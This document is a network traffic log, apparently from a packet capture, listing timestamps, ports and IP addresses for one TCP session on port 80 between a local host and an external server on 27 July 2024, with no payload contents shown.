Jul 27, 2024 13:30:04.998596907 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998615980 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998646975 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998663902 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998681068 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998712063 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998734951 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998744011 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998778105 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998795033 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998811007 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998842001 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998856068 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998876095 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998907089 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998919964 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.998939991 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998970985 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.998987913 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999315977 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999347925 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999366045 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999381065 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999413013 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999428034 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999464989 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999496937 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999512911 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999530077 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999562025 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999581099 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999593019 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999627113 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999644041 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999659061 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999691963 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999706030 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999726057 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999761105 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999773979 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.999793053 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.999841928 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.000622988 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000655890 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000688076 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000703096 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.000740051 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000771999 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000787973 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.000804901 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000837088 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000854969 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.000869036 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000900984 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000920057 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.000935078 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000967026 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.000982046 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001000881 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001033068 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001050949 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001068115 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001099110 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001115084 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001132965 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001183033 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001331091 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001363993 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001394987 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001413107 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001429081 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001461983 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001490116 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001493931 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001527071 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001543045 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001559973 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001590967 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001610994 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001625061 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001656055 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001672029 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001688004 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001720905 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001739979 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.001754999 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001785994 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.001802921 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.002762079 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002794981 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002815008 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.002825975 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002859116 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002875090 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.002892017 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002924919 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002940893 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.002957106 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.002990007 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003005981 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.003024101 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003057003 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003077030 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.003087997 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003122091 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003134966 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.003154039 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003187895 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.003199100 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.057535887 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.071815014 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.071887016 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.071938992 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.071949005 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.071974039 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072006941 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072024107 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072040081 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072074890 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072087049 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072578907 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072612047 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072630882 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072647095 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072691917 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072741985 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072776079 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072808981 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072823048 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072843075 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072875977 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.072894096 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.072993994 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073026896 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073045015 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073216915 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073251963 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073266983 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073286057 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073317051 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073338985 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073354959 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073398113 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073549032 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073580980 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073613882 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073628902 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073647976 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073683023 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073697090 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073715925 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073750973 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073764086 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073899984 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073931932 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073950052 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.073964119 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.073997974 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074014902 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074031115 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074064016 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074083090 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074095964 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074147940 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074162006 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074424028 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074474096 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074480057 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074508905 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074542046 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074554920 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074575901 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074608088 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074626923 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074640036 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074672937 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074686050 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074706078 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074738026 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074754953 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.074773073 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.074821949 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.075088024 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075117111 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075150013 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075171947 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.075184107 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075216055 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075232029 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.075248957 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075282097 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075298071 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.075316906 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.075365067 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096071005 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096139908 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096175909 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096196890 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096209049 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096244097 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096259117 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096297026 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096347094 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096348047 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096381903 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096415997 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096426010 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096447945 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096507072 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096546888 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096556902 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096581936 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096595049 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096615076 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096648932 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096663952 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096682072 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096716881 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096729994 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.096759081 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.096806049 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.097248077 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097281933 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097315073 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097327948 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.097347975 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097382069 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097393036 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.097415924 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.097465038 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099169970 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099220991 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099253893 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099271059 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099344969 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099376917 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099390984 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099411011 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099445105 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099456072 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099710941 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099742889 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099761009 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099776983 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099809885 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099824905 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099842072 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099874973 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099889994 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099908113 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099940062 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.099951029 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.099972963 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100006104 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100019932 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.100366116 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100411892 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.100414991 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100447893 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100478888 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.100524902 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.101156950 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101193905 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101205111 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.101227045 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101258993 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101274014 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.101291895 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101322889 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101339102 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.101356030 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101387978 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101402044 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.101421118 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101455927 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.101468086 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.151283026 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.158917904 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.158986092 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.159019947 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.159048080 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162280083 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162355900 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162468910 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162503004 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162554979 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162637949 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162687063 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162719965 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162744999 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162754059 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162802935 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162806034 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162838936 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162873983 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162892103 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162925005 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162956953 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.162972927 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.162990093 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163022995 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163039923 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163055897 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163089037 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163103104 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163182020 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163229942 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163353920 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163387060 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163419008 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163433075 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163451910 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163485050 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163500071 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163517952 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163549900 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163562059 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163583040 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163615942 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163628101 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163647890 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163681984 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163693905 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.163937092 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.163992882 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164060116 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164093018 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164132118 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164146900 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164167881 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164201021 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164216042 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164233923 CEST	80	49731	192.3.176.154	192.168.2.4
